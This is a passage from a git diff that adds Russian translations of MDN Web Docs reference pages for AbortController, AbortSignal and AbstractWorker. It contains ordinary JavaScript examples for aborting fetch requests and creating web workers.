899 files changed, 117509 insertions, 0 deletions

diff --git a/files/ru/web/api/abortcontroller/abort/index.html b/files/ru/web/api/abortcontroller/abort/index.html
new file mode 100644
index 0000000000..df1fa26a0c
--- /dev/null
+++ b/files/ru/web/api/abortcontroller/abort/index.html
@@ -0,0 +1,89 @@
+---
+title: AbortController.abort()
+slug: Web/API/AbortController/abort
+translation_of: Web/API/AbortController/abort
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p>Метод<strong> </strong><code style=""><strong>abort()</strong></code> интерфейса {{domxref("AbortController")}} прерывает DOM запрос (например Fetch запрос) до его завершения. Это позволяет прервать <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запросы</a>, использование любого ответа {{domxref("Body")}} и потоков.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">controller.abort();</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Отсутствуют.</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Не возвращает.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p> </p>
+
+<p>В следующем фрагменте мы будем загружать видео используя <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>.</p>
+
+<p>Сначала мы создаём контроллер с помощью контруктора {{domxref("AbortController.AbortController","AbortController()")}}, а затем получаем ссылку на связанный объект {{domxref("AbortSignal")}} используя свойство {{domxref("AbortController.signal")}}.</p>
+
+<p>Когда <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запрос</a> инициируется, мы передаём <code>AbortSignal</code> в качестве опции внутрь объекта параметров запроса (см. <code>{signal}</code> ниже). Это связывает сигнал и контроллер с fetch запросом и позволяет нам прервать его, вызвав {{domxref("AbortController.abort()")}}, как показано ниже во втором прослушивателе событий.</p>
+
+<p> </p>
+
+<pre class="brush: js">var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Загрузка прервана');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Ошибка загрузки: ' + e.message;
+  })
+}</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: Когда <code>abort()</code> вызывается, <code>fetch()</code> обещание отклоняется с <code>AbortError</code>.</p>
+</div>
+
+<p>Вы можете найти полный работающий пример на GitHub — см. <a href="https://github.com/mdn/dom-examples/tree/master/abort-api">abort-api</a> (<a href="https://mdn.github.io/dom-examples/abort-api/">увидеть работу в живую</a>).</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-abortcontroller-abort', 'abort()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.AbortController.abort")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/ru/web/api/abortcontroller/abortcontroller/index.html b/files/ru/web/api/abortcontroller/abortcontroller/index.html
new file mode 100644
index 0000000000..29d45de85f
--- /dev/null
+++ b/files/ru/web/api/abortcontroller/abortcontroller/index.html
@@ -0,0 +1,85 @@
+---
+title: AbortController.AbortController()
+slug: Web/API/AbortController/AbortController
+translation_of: Web/API/AbortController/AbortController
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p>Конструктор <strong><code>AbortController()</code></strong> создаёт новый экземпляр объекта <code>AbortController</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">var controller = new AbortController();</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Нет.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p> </p>
+
+<p>В следующем фрагменте мы будем загружать видео используя <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>.</p>
+
+<p>Сначала мы создаём контроллер с помощью контруктора {{domxref("AbortController.AbortController","AbortController()")}}, а затем получаем ссылку на связанный объект {{domxref("AbortSignal")}} используя свойство {{domxref("AbortController.signal")}}.</p>
+
+<p>Когда <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запрос</a> инициируется, мы передаём <code>AbortSignal</code> в качестве опции внутрь объекта параметров запроса (см. <code>{signal}</code> ниже). Это связывает сигнал и контроллер с fetch запросом и позволяет нам прервать его, вызвав {{domxref("AbortController.abort()")}}, как показано ниже во втором прослушивателе событий.</p>
+
+<p> </p>
+
+<pre class="brush: js">var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Загрузка прервана');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Ошибка загрузки: ' + e.message;
+  })
+}</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: Когда <code>abort()</code> вызывается, <code>fetch()</code> обещаение отклоняется с <code>AbortError</code>.</p>
+</div>
+
+<p>Вы можете найти полный рабочий пример на GitHub — см. <a href="https://github.com/mdn/dom-examples/tree/master/abort-api">abort-api</a> (<a href="https://mdn.github.io/dom-examples/abort-api/">см. как он работает в живую</a>).</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-abortcontroller-abortcontroller', 'AbortController()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_бразуерами">Совместимость с бразуерами</h2>
+
+
+
+<p>{{Compat("api.AbortController.AbortController")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/ru/web/api/abortcontroller/index.html b/files/ru/web/api/abortcontroller/index.html
new file mode 100644
index 0000000000..16854d03ae
--- /dev/null
+++ b/files/ru/web/api/abortcontroller/index.html
@@ -0,0 +1,97 @@
+---
+title: AbortController
+slug: Web/API/AbortController
+translation_of: Web/API/AbortController
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p>Интерфейс <strong><code>AbortController</code></strong> представляет объект контроллера, который позволяет вам при необходимости обрывать один и более DOM запросов.</p>
+
+<p>Вы можете создать новый объект <code>AbortController</code> используя конструктор {{domxref("AbortController.AbortController()")}}. Взаимодействие с DOM запросами сделано с использованием объекта {{domxref("AbortSignal")}}.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("AbortController.AbortController()")}}</dt>
+ <dd>Создает новый инстанс объекта <code>AbortController</code>.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("AbortController.signal")}} {{readonlyInline}}</dt>
+ <dd>Возвращает инстанс объекта {{domxref("AbortSignal")}}, который может быть использован для коммуникаций/останова DOM запросов.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("AbortController.abort()")}}</dt>
+ <dd>Прерывает DOM запрос до момента его завершения. Это дает возможность обрывать <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запросы</a>, потребителей любых ответов с {{domxref("Body")}} и потоки.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В текущем фрагменте мы пытаемся скачать видео используя <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>.</p>
+
+<p>Для начала мы создадим контроллер используя конструктор {{domxref("AbortController.AbortController","AbortController()")}}, затем возьмем ссылку на ассоциированный с ним объект {{domxref("AbortSignal")}} используя свойство {{domxref("AbortController.signal")}}.</p>
+
+<p>При инициализации <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запроса</a>, мы передаем <code>AbortSignal</code> в качестве параметра (смотрите ниже <code>{signal}</code>). Это ассоциирует сигнал и контроллер с fetch запросом и дает нам возможность оставновить запрос вызовом метода {{domxref("AbortController.abort()")}}, что можно увидеть во втором addEventListener.</p>
+
+<pre class="brush: js">var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}</pre>
+
+<div class="note">
+<p><strong>Заметка</strong>: При вызове <code>abort()</code>, промис <code>fetch()</code> будет отклонен с <code>AbortError</code>.</p>
+</div>
+
+<p>Вы можете найти полный рабочий пример на GitHub — смотрите <a href="https://github.com/mdn/dom-examples/tree/master/abort-api">abort-api</a> (<a href="https://mdn.github.io/dom-examples/abort-api/">и живой пример</a>).</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-abortcontroller', 'AbortController')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.AbortController")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+ <li><a href="https://developers.google.com/web/updates/2017/09/abortable-fetch">Abortable Fetch</a> от Jake Archibald</li>
+</ul>
diff --git a/files/ru/web/api/abortcontroller/signal/index.html b/files/ru/web/api/abortcontroller/signal/index.html
new file mode 100644
index 0000000000..9d6dfa4304
--- /dev/null
+++ b/files/ru/web/api/abortcontroller/signal/index.html
@@ -0,0 +1,87 @@
+---
+title: AbortController.signal
+slug: Web/API/AbortController/signal
+translation_of: Web/API/AbortController/signal
+---
+<p>{{APIRef("DOM")}}{{SeeCompatTable}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание: </strong>Это свойство только для чтения.</p>
+</div>
+
+<p>Свойство <strong><code>signal</code></strong> интерфейса {{domxref("AbortController")}} возвращает экземпляр объекта {{domxref("AbortSignal")}}, который может быть использован для связи/прерывания DOM запроса по желанию.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">var signal = abortController.signal;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Экземпляр объекта {{domxref("AbortSignal")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В следующем фрагменте мы будем загружать видео используя <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>.</p>
+
+<p>Сначала мы создаём контроллер с помощью контруктора {{domxref("AbortController.AbortController","AbortController()")}}, а затем получаем ссылку на связанный объект {{domxref("AbortSignal")}} используя свойство {{domxref("AbortController.signal")}}.</p>
+
+<p>Когда <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запрос</a> инициируется, мы передаём <code>AbortSignal</code> в качестве опции внутрь объекта параметров запроса (см. <code>{signal}</code> ниже). Это связывает сигнал и контроллер с fetch запросом и позволяет нам прервать его, вызвав {{domxref("AbortController.abort()")}}, как показано ниже во втором прослушивателе событий.</p>
+
+<p> </p>
+
+<pre class="brush: js">var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Загрузка прервана');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Ошибка загрузки: ' + e.message;
+  })
+}</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: Когда <code>abort()</code> вызывается, <code>fetch()</code> обещаение отклоняется с <code>AbortError</code>.</p>
+</div>
+
+<p>Вы можете найти полный рабочий пример на GitHub — см. <a href="https://github.com/mdn/dom-examples/tree/master/abort-api">abort-api</a> (<a href="https://mdn.github.io/dom-examples/abort-api/">см. как он работает в живую</a>).</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-abortcontroller-signal', 'signal')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.AbortController.signal")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/ru/web/api/abortsignal/abort_event/index.html b/files/ru/web/api/abortsignal/abort_event/index.html
new file mode 100644
index 0000000000..15a89fd35e
--- /dev/null
+++ b/files/ru/web/api/abortsignal/abort_event/index.html
@@ -0,0 +1,134 @@
+---
+title: abort
+slug: Web/API/AbortSignal/abort_event
+translation_of: Web/API/AbortSignal/abort_event
+---
+<div>{{SeeCompatTable}}</div>
+
+<p>Событие <code><strong>abort</strong></code> из <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> вызывается когда fetch запрос прерывается, т.е. с помощью {{domxref("AbortController.abort()")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td>Bubbles</td>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <td>Cancelable</td>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <td>Target objects</td>
+   <td>{{domxref("AbortSignal")}}</td>
+  </tr>
+  <tr>
+   <td>Interface</td>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p> </p>
+
+<p>В следующем фрагменте мы создаём новый объект {{domxref("AbortController")}}, и получаем его {{domxref("AbortSignal")}} (доступно в свойстве <code>signal</code>). Позже мы проверяем, был ли прерван сигнал, используя свойство <code>aborted</code>, и выводим соответствующее сообщение в консоль.</p>
+
+<p> </p>
+
+<pre class="brush: js">var controller = new AbortController();
+var signal = controller.signal;
+
+signal.onabort = function() {
+  console.log('Request aborted');
+};
+</pre>
+
+<h2 id="Наследование">Наследование</h2>
+
+<p>Событие <code>abort</code> реализует {{domxref("Event")}} интерфейс — он имеет свойства и методы, определённые в нём.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-abortsignal-onabort', 'abort')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>
+    <p>{{CompatUnknown}}</p>
+   </td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(57)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>
+    <p>{{CompatUnknown}}</p>
+   </td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(57)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/ru/web/api/abortsignal/aborted/index.html b/files/ru/web/api/abortsignal/aborted/index.html
new file mode 100644
index 0000000000..1841427cd2
--- /dev/null
+++ b/files/ru/web/api/abortsignal/aborted/index.html
@@ -0,0 +1,60 @@
+---
+title: AbortSignal.aborted
+slug: Web/API/AbortSignal/aborted
+tags:
+  - Свойство
+  - Экспериментально
+translation_of: Web/API/AbortSignal/aborted
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p>Свойство <strong><code>aborted</code></strong> только для чтения, оно возвращает {{domxref("Boolean")}}, который указывает прерван(<code>true</code>) DOM зыпрос(ы), с которым связан сигнал, или нет(<code>false</code>).</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">var isAborted = abortSignal.aborted;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>{{domxref("Boolean")}}</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В следующем фрагменте мы создаём новый объект {{domxref("AbortController")}}, и получаем его {{domxref("AbortSignal")}} (доступно в свойстве <code>signal</code>). Позже мы проверяем, был ли прерван сигнал, используя свойство <code>aborted</code>, и выводим соответствующее сообщение в консоль.</p>
+
+<pre class="brush: js">var controller = new AbortController();
+var signal = controller.signal;
+
+// ...
+
+signal.aborted ? console.log('Запрос был отменён') : console.log('Запрос не отменён');
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-abortsignal-onabort', 'onabort')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.AbortSignal.aborted")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/ru/web/api/abortsignal/index.html b/files/ru/web/api/abortsignal/index.html
new file mode 100644
index 0000000000..fb44706bc7
--- /dev/null
+++ b/files/ru/web/api/abortsignal/index.html
@@ -0,0 +1,98 @@
+---
+title: AbortSignal
+slug: Web/API/AbortSignal
+translation_of: Web/API/AbortSignal
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p><strong><code>AbortSignal</code></strong> интерфейс представляет собой объект сигнала, который позволяет вам общаться с DOM запросом (например, Fetch) и прервать его при необходимости с помощью объекта {{domxref("AbortController")}}.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>AbortSignal также наследует свойства от своего родительского интерфейса, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("AbortSignal.aborted")}} {{readonlyInline}}</dt>
+ <dd>Это {{domxref("Boolean")}}, который указывает, отменен ли запрос(ы), с которым связывался сигнал, отменён (<code>true</code>) или нет (<code>false</code>).</dd>
+</dl>
+
+<h3 id="Обработчики_событий">Обработчики событий</h3>
+
+<dl>
+ <dt>{{domxref("AbortSignal.onabort")}}</dt>
+ <dd>Вызывается когда происходит событие {{event("abort_(dom_abort_api)", "abort")}}, т.е. когда DOM запрос(ы), с которым связывался сигнал, отменён.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>AbortSignal наследует методы от родительского интерфейса, {{domxref("EventTarget")}}.</em></p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В следующем фрагменте мы будем загружать видео используя <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>.</p>
+
+<p>Сначала мы создаём контроллер с помощью контруктора {{domxref("AbortController.AbortController","AbortController()")}}, а затем получаем ссылку на связанный объект {{domxref("AbortSignal")}} используя свойство {{domxref("AbortController.signal")}}.</p>
+
+<p>Когда <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запрос</a> инициируется, мы передаём <code>AbortSignal</code> в качестве опции внутрь объекта параметров запроса (см. <code>{signal}</code> ниже). Это связывает сигнал и контроллер с fetch запросом и позволяет нам прервать его, вызвав {{domxref("AbortController.abort()")}}, как показано ниже во втором прослушивателе событий.</p>
+
+<pre class="brush: js">var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Загрузка прервана');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Ошибка загрузки: ' + e.message;
+  })
+}</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: Когда <code>abort()</code> вызывается, <code>fetch()</code> обещаение отклоняется с <code>AbortError</code>.</p>
+</div>
+
+<div class="warning">
+<p>Текущая версия Firefox отклоняет обещание с <code>DOMException</code></p>
+</div>
+
+<p>Вы можете найти полный рабочий пример на GitHub — см. <a href="https://github.com/mdn/dom-examples/tree/master/abort-api">abort-api</a> (<a href="https://mdn.github.io/dom-examples/abort-api/">см. как он работает в живую</a>).</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-AbortSignal', 'AbortSignal')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.AbortSignal")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+ <li><a href="https://developers.google.com/web/updates/2017/09/abortable-fetch">Abortable Fetch</a> by Jake Archibald</li>
+</ul>
diff --git a/files/ru/web/api/abortsignal/onabort/index.html b/files/ru/web/api/abortsignal/onabort/index.html
new file mode 100644
index 0000000000..068d91813d
--- /dev/null
+++ b/files/ru/web/api/abortsignal/onabort/index.html
@@ -0,0 +1,53 @@
+---
+title: AbortSignal.onabort
+slug: Web/API/AbortSignal/onabort
+translation_of: Web/API/AbortSignal/onabort
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p>Cвойство <strong><code>onabort</code></strong> интерфейса {{domxref("AbortSignal")}} является обработчиком события {{event("abort_(cancellable_fetch)", "abort")}} и вызывается при его срабатывании, т.е. когда fetch запрос(ы), с которым связан сигнал, был отменён.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">abortSignal.onabort = function() { ... };</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В следующем фрагменте мы создаём новый объект {{domxref("AbortController")}}, и получаем его {{domxref("AbortSignal")}} (доступно в свойстве <code>signal</code>). Позже с помощью свойства <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">onabort</span></font> мы проверяем, был ли прерван сигнал, и выводим соответствующее сообщение в консоль.</p>
+
+<pre class="brush: js">var controller = new AbortController();
+var signal = controller.signal;
+
+signal.onabort = function() {
+  console.log('Запрос прерван');
+};
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-abortsignal-aborted', 'onabort')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_брузерами">Совместимость с брузерами</h2>
+
+
+
+<p>{{Compat("api.AbortSignal.onabort")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/ru/web/api/abstractworker/index.html b/files/ru/web/api/abstractworker/index.html
new file mode 100644
index 0000000000..cca9299e6e
--- /dev/null
+++ b/files/ru/web/api/abstractworker/index.html
@@ -0,0 +1,95 @@
+---
+title: AbstractWorker
+slug: Web/API/AbstractWorker
+tags:
+  - API
+  - AbstractWorker
+  - Interface
+  - SharedWorker
+  - Web Workers
+  - Web Workers API
+  - Worker
+  - Абстрактный
+  - Интерфейс
+translation_of: Web/API/AbstractWorker
+---
+<div>{{ APIRef("Web Workers API") }}</div>
+
+<div>Интерфейс <span class="seoSummary"><strong><code>AbstractWorker (абстрактный воркер)</code></strong></span> , как часть <span class="seoSummary"> <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API">Web Workers API</a></span> - это абстрактный интерфейс, который определяет общие свойства и методы для всех типов воркеров: для базового <span class="seoSummary">{{domxref("Worker")}}</span> и также для <span class="seoSummary">{{domxref("ServiceWorker")}}</span> и <span class="seoSummary">{{domxref("SharedWorker")}}</span>. Вы напрямую не взаимодкйствуете с <code>AbstractWorker</code>, как и с абстрактным классом.</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс <code>AbstractWorker</code></em><em> не наследует никаких свойств</em></p>
+
+<h3 id="Обработчики_событий">Обработчики событий</h3>
+
+<dl>
+ <dt>{{domxref("AbstractWorker.onerror")}}</dt>
+ <dd>{{ domxref("EventListener") }}, который вызывается каждый раз, когда {{domxref("ErrorEvent")}} с типом <code>error</code> всплывает через воркер.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Интерфейс <code>AbstractWorker</code></em><em> не наследует и не реализует никаких свойств</em></p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Прямого использования <code>AbstractWorker</code> не будет в коде, так как это абстрактный интерфейс. Вместо этого, взаимодействие будет происходить либо с {{domxref("Worker")}}, либо с {{domxref("SharedWorker")}}, оба из которых наследуют свойства от <code>AbstractWorker</code>.</p>
+
+<p>Ниже фрагмент кода, который демонстрирует создание нового <code>Worker</code> с помощью конструктора {{domxref("Worker.Worker", "Worker()")}}; ещё здесь показан способ как послать сообщению воркеру.</p>
+
+<pre class="brush: js">var myWorker = new Worker('worker.js');
+
+first.onchange = function() {
+  myWorker.postMessage([first.value, second.value]);
+  console.log('Message posted to worker');
+}</pre>
+
+<p>Код воркера загружается из файла <code>"worker.js"</code>. В данном коде предполагается, что есть элемент {{HTMLElement("input")}}, его определяет переменная <code>first</code>. Для события {{domxref("change")}} элемента создается обработчик, поэтому когда пользователь изменяет значение для <code>first</code>, отправляется сообщение в воркер для уведомления его об данных изменениях.</p>
+
+<p>Вы можете найти больше примеров в репозитории MDN Web Docs на GitHub:</p>
+
+<ul>
+ <li><a class="external external-icon" href="https://github.com/mdn/simple-web-worker">Базовый пример для dedicated worker</a> (<a class="external external-icon" href="http://mdn.github.io/simple-web-worker/">запустить dedicated worker</a>).</li>
+ <li><a class="external external-icon" href="https://github.com/mdn/simple-shared-worker">Базовый пример для shared worker</a> (<a class="external external-icon" href="http://mdn.github.io/simple-shared-worker/">запустить shared worker</a>).</li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
